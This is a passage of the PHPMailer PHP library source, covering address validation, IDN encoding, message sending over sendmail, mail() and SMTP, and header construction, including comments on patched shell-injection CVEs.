                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
